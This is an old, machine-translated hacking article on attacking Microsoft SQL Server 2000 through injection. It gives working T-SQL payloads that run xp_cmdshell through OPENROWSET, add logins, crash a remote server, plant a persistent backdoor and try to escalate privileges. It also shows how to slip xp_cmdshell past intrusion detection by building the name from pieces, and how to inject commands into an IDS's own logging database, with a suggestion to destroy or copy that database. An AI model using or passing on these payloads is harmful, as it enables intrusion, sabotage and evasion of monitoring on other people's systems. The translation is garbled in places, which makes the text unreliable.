MSSQL injection method to evade IDs _ database other

1. About OPENROWSET and OPENDATASOURCE
It is possible that this technique has already been done before, using OPENROWSET to send local commands. Usually our usage is (including MSDN's) as follows:
SELECT * FROM OPENROWSET (' SQLOLEDB ', ' myserver '; Sa '; ', ' SELECT * from table ')

Visible (even in the literal sense) OPENROWSET is only accessed as a shortcut remote database, it must follow the Select, which means that a recordset needs to be returned.

So can we use it to invoke xp_cmdshell? The answer is YES!
SELECT * FROM OPENROWSET (' SQLOLEDB ', ' server '; Sa '; ', ' Set fmtonly off exec master.dbo.xp_cmdshel l ' dir c:\ ')
Set fmtonly must be added to mask the default settings that return only column information, so that the output collection returned by xp_cmdshell is submitted to the previous select display, and if the default setting is returned, an empty collection will result in a select error and the command cannot be executed.

So if we're going to call sp_addlogin, he's not going to return any of the collections like xp_cmdshell, we can no longer rely on the fmtonly set up, you could do the following
SELECT * FROM OPENROWSET (' SQLOLEDB ', ' server '; Sa '; ', ' select ' ' ok! ' ' exec master.dbo.sp_addlogin hectic ')

In this way, the command will return at least select ' ok! ' Collection, your machine Chamber of Commerce shows Ok!, while the other side of the database will also add a hectic account, that is to say, we use select ' ok! ' The return collection deceives the local select request, and the command is able to execute normally, as can be done by the sp_addsrvrolemember and OpenDataSource. As for the real use of this method, let's think about it: P


2. Questions about the MSDASQL two requests

Do not know if you have tried to connect the remote database with MSDASQL, of course, this API must be SQL Server administrator to call, then the following
SELECT * FROM OPENROWSET (' Msdasql ', ' Driver={sql server};server=server;address=server,1433;uid=sa;pwd=;d atabase= MASTER;NETWORK=DBMSSOCN ', ' select * FROM table1 select * from Table2 ')

When the number of Table1 and table2 fields is different, you will find that the other side of SQL Server crashes, even the local connection will fail, and system resources occupy all normal, with PsKill kill the SQL Server process, if not restart the machine, SQL Server either does not start normally, or often illegal operation, I also just happened to find the bug, the specific reasons I have not yet figured out, and it is strange that this phenomenon only appears on the MSDASQL, SQLOLEDB do not have this problem, It seems that the problem is not the number of requests and the number of return set does not match, should or msdasql itself, the specific reasons, we study together slowly: P


3. Scary back door.

I used to see someone on the web saying that leaving the back door on SQL Server can be done by adding triger,jobs or rewriting sp_addlogin and sp_addsrvrolemember, which is certainly doable, but it's easy to find. I wonder if you have ever thought about SQLOLEDB's local connection mapping. Oh, for example, you use SQL Server's administrator account on each other's SQL Server to execute the following command
SELECT * FROM OPENROWSET (' SQLOLEDB ', ' Trusted_connection=yes;data source=hectic ', ' Set fmtonly off exec master. xp_cmdshell ' dir c:\ ')

This creates a local connection map named hectic on each other's SQL Server, and as long as SQL Server does not reboot, this mapping will persist, at least I don't know how to find the connection mappings that others have placed, OK, after the above command runs, You will find that even if SQL Server does not have any permissions to the guest user, running this command can also pass! and permission is localsystem!. (default installation) hehe! This method can be used to leave behind a backdoor to SQL Server that has been hacked to get administrator privileges. The above method is passed on the sqlserver2000 SQLSERVER2000SP1!

There is also a guess, do not know if you have not noticed that Windows default with two DSN, one is LocalServer one is MSQI, these two are established by the local Administrator account connection to SQL Server, If the other SQL Server is started by a custom power user, then the SA's permissions are as hard as power User's, but we pass the following command
SELECT * FROM OPENROWSET (' Msdasql ', ' dsn=locaserver;trusted_connection=yes ', ' Set fmtonly off exec master. xp_cmdshell ' dir c:\ ' should be able to connect to local SQL Server using the LocalServer administrator account and then execute the local command with this account's privileges, which I think should be able to break through the SA Power User privilege. The problem now is that SQLOLEDB cannot invoke the DSN connection, and MSDASQL is not allowed to call, so I am now looking for a way for the guest to invoke the MSDASQL,

If someone knows how this bug breaks, or if there is a new idea, we can discuss it together, and this release, if it can be successfully used by the guest, would be a serious security breach. Because any of the SQL statements we mentioned earlier can be submitted to each other's ASP to help us execute:


4. Using T-SQL to cheat IDs or attack IDs

Today's IDs are getting smarter. Some IDs joined the xp_cmdshell sp_addlogin surveillance, but after all, Ai did not appear today, this kind of surveillance is always a deceptive feeling.

First, cheat IDs:

IDS is monitoring the xp_cmdshell keyword, so we can do that.
declare @a sysname set @a= "xp_" "Cmdshell" exec @a ' dir c:\ '

This code is believed that we all can understand, also has xp_cmdshell as a store procedure in the Master library has an ID number, fixed, we may also do so

Suppose this id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a ' dir c:\ '

Of course I can.
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a ' dir c:\ '

This approach arranges the combination that IDs simply cannot do to full monitoring.

By the same token, sp_addlogin can do so.

Again, attack IDs:

Because the volume of IDs data is large, it is usually backed up to a regular database, such as SQL Server.

Using an old recordset.addnew approach can seriously affect the performance of IDs because it is efficient to make T-SQL requests through ADO, and a portion of the work can be done to SQL Server

This is usually how the program writes Insert table values (' Date to content ',...)

So let's think about it, if you use temp ') exec xp_cmdshell ' dir c:\ '--it will become
Insert Table VALUES (' Day to content ' ... ' temp ') exec xp_cmdshell ' dir c:\ '-')

In this way, xp_cmdshell can be run in the IDs database:

Of course IDs is a sniffer, he will catch all the newspapers, and the browser will be submitted when the space into. Therefore, it is committed to SQL Server so that your command cannot be executed. The only Way is
Insert/**/table/**/values (' Day to content ' ... ' temp ')/**/exec/**/xp_cmdshell/**/' dir c:\ '/**/--')

Use/**/instead of spaces to do spacer characters, so your T-SQL can be executed in the IDs database. Of course, you can use other statements, you can destroy, backup IDs database to your shared directory, hehe.

In fact, the principle of this method and attack ASP is the same, but the space into a/**/. Originally ASP is a SELECT statement, then use ' can be masked. IDS is now masked with an INSERT statement, then with ').

　　Well, many other new intrusion statements you can think slowly, the best Test tool is query analyzer.